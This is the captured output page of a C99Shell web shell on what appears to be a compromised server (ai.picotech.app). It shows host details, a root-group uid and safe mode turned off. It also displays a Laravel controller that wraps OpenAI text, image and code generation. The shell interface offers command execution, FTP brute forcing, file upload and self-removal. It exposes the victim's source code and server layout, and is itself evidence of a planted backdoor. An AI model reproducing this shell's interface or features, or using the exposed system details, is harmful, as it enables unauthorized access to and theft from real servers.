!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.3 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DocumentController.php (16.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Code;
use 
App\Models\Document;
use 
App\Models\ImageUrl;
use 
App\Models\Language;
use 
File;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Response;
use 
Illuminate\Support\Facades\Storage;

class 
DocumentController extends Controller
{
    public function 
writeDocument(){
        
$data['languages'] = Language::where('status','active')->get();
        return 
view('customer.open_ai.write_document',$data);
    }
    public function 
imageGenerate(){
        return 
view('customer.open_ai.image_generate');
    }
    public function 
codeGenerate(){
        return 
view('customer.open_ai.code_generate');
    }

    private 
$models = [
        
"babbage" => "text-babbage-001",
        
"curies" => "text-curie-001",
        
"ada" => "text-ada-001",
        
"davinci" => "text-davinci-003"
    
];
    public function 
getRequest(Request $request){
        try {
            
$user auth('customer')->user();
            
$currentplan $user->current_plan;
            
$openAiApiKey get_settings('open_ai_api_key');
            if (!
$openAiApiKey){
                return 
response()->json(['status' => 'failed''message' => 'API not configured']);
            }
            if (!
$request->use_case){
                return 
response()->json(['status' => 'failed''message' => 'Invalid request']);
            }
            if (!isset(
$request->use_case_input_fields[0])){
                return 
response()->json(['status' => 'failed''message' => 'Invalid request']);
            }
            
$second=$request->use_case_input_fields[1]??'';
            
$third=$request->use_case_input_fields[2]??'';
            if(!
$second){
                
$request["keyword"]="";
            }
            if(!
$third){
                
$request["description"]="";
            }

            
$client \OpenAI::client($openAiApiKey);
            
$prompt 'write a '.str_replace("_"," ",$request->use_case).' where '.$request->use_case_input_fields[0].' '.$request->topic.' '.$second .' '.$request->keyword.' '.$third.' '.$request->description.' and the variants is '.$request->variants.' and also the creativity level is '.$request->creativityLevel.' write in '.$request->language;
            
$maxTokens 1000;
            
$result $client->completions()->create([
                
'model' => $this->models['davinci'],
                
'prompt' => $prompt,
                
"max_tokens" => $maxTokens,
            ]);

            
$writeWord count(explode(' '$result['choices'][0]['text']));
            if (
$currentplan->is_word_limit=='no' ){
                
$availableWord $currentplan->available_word $writeWord;
                if (
$availableWord <= ){
                    return 
response()->json(['status' => 'failed''message' => 'Ops! You have extend your word limit']);
                }
                
$currentplan->update(['available_word'=> $availableWord]);
            }

            
$name $request->name;
            if (!
$name){
                
$name 'New folder';
            }
            
$user->documents()->create(['name'=>$name,'title'=> str_replace("_"," ",$request->use_case) ,'document' => $result['choices'][0]['text']]);

            return 
response()->json(['status' => 'success''data' => $result['choices'][0]['text']]);
        } catch (
\Exception $ex) {
            return 
response()->json(['status' => 'failed''message' => $ex->getMessage()]);
        }

    }

    public function 
getRequestImage(Request $request){
        try {
            
$user auth('customer')->user();
            
$currentplan $user->current_plan;
            
$openAiApiKey get_settings('open_ai_api_key');
            if (!
$openAiApiKey){
                return 
response()->json(['status' => 'failed''message' => 'API not configured']);
            }
            if (!
$request->keyword || !$request->imageQuantity || !$request->imageSize){
                return 
response()->json(['status' => 'failed''message' => 'Invalid request']);
            }
            
$client \OpenAI::client($openAiApiKey);
            
$prompt $request->keyword;
            
$imageQuantity $request->imageQuantity;
            
$imageSize $request->imageSize;

            
$response $client->images()->create([
                
'prompt' => $prompt,
                
'n' => (int)$imageQuantity,
                
'size' => $imageSize,
                
'response_format' => 'url',
            ]);

            if (
$currentplan->is_image_limit=='no' ){
                
$availableImage $currentplan->available_image 1;
                if (
$availableImage <= ){
                    return 
response()->json(['status' => 'failed''message' => 'Ops! You have extend your image limit']);
                }
                
$currentplan->update(['available_image'=> $availableImage]);
            }
            
$name $request->name;
            if (!
$name){
                
$name 'New folder';
            }

            
$image $user->images()->create(['name'=>$name,'title'=>$prompt,'total'=> $imageQuantity]);
            
$imageUrl = [];
            
$imgUrl = [];
            foreach (
$response['data'] as $key=>$url){
                
$mime get_headers($url['url'], 1)["Content-Type"];
                
$extension explode('/'$mime )[1];
                
$filename=time().$key.'.'.$extension;
                
Storage::disk('image')->put($filenamefile_get_contents($url['url']));
                
$imageUrl[] = [
                    
'image_id' => $image->id,
                    
'url' => $url['url'],
                    
'file_name' => $filename,
                ];
                
$imgUrl[] = url('/generated/image/'.$filename);
            }
            
ImageUrl::insert($imageUrl);

            return 
response()->json(['status' => 'success''data' => $imgUrl]);
        } catch (
\Exception $ex) {
            return 
response()->json(['status' => 'failed''message' => $ex->getMessage()]);
        }
    }

    public function 
getRequestCode(Request $request){
        try {
            
$user auth('customer')->user();
            
$currentplan $user->current_plan;
            
$openAiApiKey get_settings('open_ai_api_key');
            if (!
$openAiApiKey){
                return 
response()->json(['status' => 'failed''message' => 'API not configured']);
            }
            if (!
$request->keyword){
                return 
response()->json(['status' => 'failed''message' => 'Invalid request']);
            }
            
$client \OpenAI::client($openAiApiKey);
            
$prompt $request->keyword;

            
$maxTokens 1000;
            
$result $client->completions()->create([
                
'model' => $this->models['davinci'],
                
'prompt' => $prompt,
                
"max_tokens" => $maxTokens,
            ]);

            
$writeCode count(explode(' '$result['choices'][0]['text']));
            if (
$currentplan->is_code_limit=='no' ){
                
$availableCode $currentplan->available_code $writeCode;
                if (
$availableCode <= ){
                    return 
response()->json(['status' => 'failed''message' => 'Ops! You have extend your code limit']);
                }
                
$currentplan->update(['available_code'=> $availableCode]);
            }
            
$name $request->name;
            if (!
$name){
                
$name 'New folder';
            }

            
$user->codes()->create(['name'=>$name,'title'=> $prompt ,'code' => $result['choices'][0]['text']]);

            return 
response()->json(['status' => 'success''data' => $result['choices'][0]['text']]);
        } catch (
\Exception $ex) {
            return 
response()->json(['status' => 'failed''message' => $ex->getMessage()]);
        }

    }
    public function 
writeDocumentList(){
        return 
view('customer.open_ai.write_document_list');
    }
    public function 
imageGenerateList(){
        return 
view('customer.open_ai.image_generate_list');
    }
    public function 
codeGenerateList(){
        return 
view('customer.open_ai.code_generate_list');
    }

    public function 
writeDocumentGetData(Request $request){
        if(
$request->limit) {
            
$documents auth('customer')->user()->documents()->select(['id''customer_id''title''document''name''created_at'])->limit(10);
        }else {
            
$documents auth('customer')->user()->documents()->select(['id''customer_id''title''document''name''created_at']);
        }
        return 
datatables()->of($documents)
            ->
addColumn('name', function ($q) {
                return 
$q->name;
            })
            ->
addColumn('document', function ($q) {
                return 
"<div class='show-more' style='max-width: 500px;white-space: pre-wrap;'>".trim($q->document)."</div>";
            })
            ->
addColumn('download', function ($q) {
                return 
'<a class="btn btn-sm btn-primary" href='.route('customer.document.download',['id'=>$q->id,'type'=>'document']).'><i class="fa fa-download"></i></a>';
            })
            ->
addColumn('action',function($q){
                return 
'<a class="btn btn-sm btn-info contentRenameModal"
                                        data-id="'
.$q->id.'"
                                        data-name="'
.$q->name.'"
                                        data-type="document" ><i class="fa fa-pencil-alt text-white"></i></a> &nbsp; &nbsp;'
.
                    
'<a class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this document?"
                                        data-action='
.route('customer.ai.content.delete',['id'=>$q->id,'type'=>'document']).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm"><i class="fa fa-trash text-white"></i></a>' 
;
            })
            ->
rawColumns(['action','document','download'])
            ->
toJson();
    }
    public function 
codeGenerateGetData(){
        
$codes =  auth('customer')->user()->codes()->select(['id','customer_id','title','code','name','created_at']);
        return 
datatables()->of($codes)
            ->
addColumn('code', function ($q) {
                return 
"<div class='show-more' style='max-width: 500px;white-space: pre-wrap;'>".trim($q->code)."</div>";
            })
            ->
addColumn('download', function ($q) {
                return 
'<a class="btn btn-sm btn-primary" href='.route('customer.document.download',['id'=>$q->id,'type'=>'code']).'><i class="fa fa-download"></i></a>';
            })
            ->
addColumn('action',function($q){
                return 
'<a class="btn btn-sm btn-info contentRenameModal"
                                        data-id="'
.$q->id.'"
                                        data-name="'
.$q->name.'"
                                        data-type="code" ><i class="fa fa-pencil-alt text-white"></i></a> &nbsp; &nbsp;'
.
                    
'<a class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this code?"
                                        data-action='
.route('customer.ai.content.delete',['id'=>$q->id,'type'=>'code']).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm"><i class="fa fa-trash text-white"></i></a>' 
;
            })
            ->
rawColumns(['action','code','download'])
            ->
toJson();
    }
    public function 
imageGenerateGetData(){
        
$planRequests =  auth('customer')->user()->images()->select(['id','customer_id','title','total','name','created_at']);
        return 
datatables()->of($planRequests)
            ->
addColumn('download', function ($q) {
                return 
'<a class="btn btn-sm btn-primary" href='.route('customer.image.download',['id'=>$q->id]).'><i class="fa fa-download"></i></a>';
            })
            ->
addColumn('action',function($q){
                return 
'<a class="btn btn-sm btn-info contentRenameModal"
                                        data-id="'
.$q->id.'"
                                        data-name="'
.$q->name.'"
                                        data-type="image" ><i class="fa fa-pencil-alt text-white"></i></a> &nbsp; &nbsp;'
.
                    
'<a class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this image?"
                                        data-action='
.route('customer.ai.content.delete',['id'=>$q->id,'type'=>'image']).'
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm"><i class="fa fa-trash text-white"></i></a>' 
;
            })
            ->
rawColumns(['action','download'])
            ->
toJson();
    }

    public function 
aiContentDelete(Request $request){
        if (
$request->type == 'document'){
            
auth('customer')->user()->documents()->where('id',$request->id)->delete();
            return 
back()->with('success','Document successfully deleted');
        }elseif (
$request->type == 'code'){
            
auth('customer')->user()->codes()->where('id',$request->id)->delete();
            return 
back()->with('success','Code successfully deleted');
        }elseif (
$request->type == 'image'){
            
$image auth('customer')->user()->images()->where('id',$request->id)->first();
            
ImageUrl::where('image_id',$image->id)->delete();
            
$image->delete();
            return 
back()->with('success','Images successfully deleted');
        }else{
            return 
back()->withErrors(['failed' => 'Ops! Something happenings wrong']);
        }
    }
    public function 
aiContentRename(Request $request){
        if (
$request->type == 'document'){
            
auth('customer')->user()->documents()->where('id',$request->id)->update(['name'=>$request->name]);
            return 
back()->with('success','Document name successfully rename');
        }elseif (
$request->type == 'code'){
            
auth('customer')->user()->codes()->where('id',$request->id)->update(['name'=>$request->name]);
            return 
back()->with('success','Code name successfully rename');
        }elseif (
$request->type == 'image'){
            
auth('customer')->user()->images()->where('id',$request->id)->update(['name'=>$request->name]);
            return 
back()->with('success','Images name successfully rename');
        }else{
            return 
back()->withErrors(['failed' => 'Ops! Something happenings wrong']);
        }
    }
    public function 
imageDownload(Request $request){
        
$images ImageUrl::where('image_id',$request->id)->pluck('file_name')->toArray();
        
$zip = new \ZipArchive();
        
$fileName 'zipFile.zip';
        if (
$zip->open(storage_path($fileName), \ZipArchive::CREATE)== TRUE)
        {
            
$files File::files(storage_path('app/generated'));
            foreach (
$files as $value){
                
$relativeName basename($value);
                if (
in_array($relativeName,$images)){
                    
$zip->addFile($value$relativeName);
                }
            }
            
$zip->close();
        }

        return 
response()->download(storage_path($fileName));
    }
    public function 
documentDownload(Request $request){
        if (
$request->type == 'document'){
            
$document Document::where('id',$request->id)->firstOrfail();
            
$data $document->document;
            
$title $document->title;
        }else{
            
$document Code::where('id',$request->id)->firstOrfail();
            
$data $document->code;
            
$title $document->title;
        }

        
$fileName str_replace(' ''_'$title) . '.txt';
        
$headers = [
            
'Content-type'        => 'text/plain',
            
'Content-Disposition' => 'attachment; filename="'.$fileName.'"'
        
];

        return 
Response::make($data'200'$headers);
    }
    public function 
generatedImage($name){
        if (!
Storage::disk('image')->exists($name)) {
            return 
response('File no found.'404);
        }
        
$file=Storage::disk('image')->get($name);
        
$type Storage::mimeType($name);
        return 
response($file200)->header("Content-Type"$type);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--